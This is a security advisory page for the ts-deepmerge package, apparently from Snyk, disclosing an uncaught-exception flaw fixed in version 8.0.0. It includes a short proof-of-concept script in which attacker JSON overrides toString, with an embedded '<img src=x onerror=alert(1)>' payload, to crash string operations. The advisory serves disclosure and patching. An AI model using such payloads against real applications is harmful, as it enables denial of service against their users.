Uncaught Exception Affecting ts-deepmerge package, versions <8.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncaught Exception vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-TSDEEPMERGE-17339141
  • published18 Jun 2026
  • disclosed21 May 2026
  • creditIgor Garofano

Introduced: 21 May 2026

NewCVE-2026-12644  (opens in a new tab)
CWE-248  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade ts-deepmerge to version 8.0.0 or higher.

Overview

ts-deepmerge is an a deep merge function that automatically infers the return type based on your input, without mutating the source objects.

Affected versions of this package are vulnerable to Uncaught Exception due to the improper handling of built-in Object.prototype methods (such as toString, valueOf). When user-controlled input contains these keys with non-function values, the resulting merged object becomes broken — any string context operation throws a TypeError, crashing the application.

PoC

const { merge } = require('ts-deepmerge');

// Attacker-controlled input (e.g. from JSON.parse of user input)
const userInput = JSON.parse('{"toString": "<img src=x onerror=alert(1)>"}');
const config = { title: 'Hello', theme: 'dark' };

const result = merge(config, userInput);

console.log(typeof result.toString); // 'string' — no longer a function

// All of the following crash the application:
`${result}`       // TypeError: Cannot convert object to primitive value
'' + result       // TypeError: Cannot convert object to primitive value
[result].join()   // TypeError: Cannot convert object to primitive value

CVSS Base Scores

version 4.0
version 3.1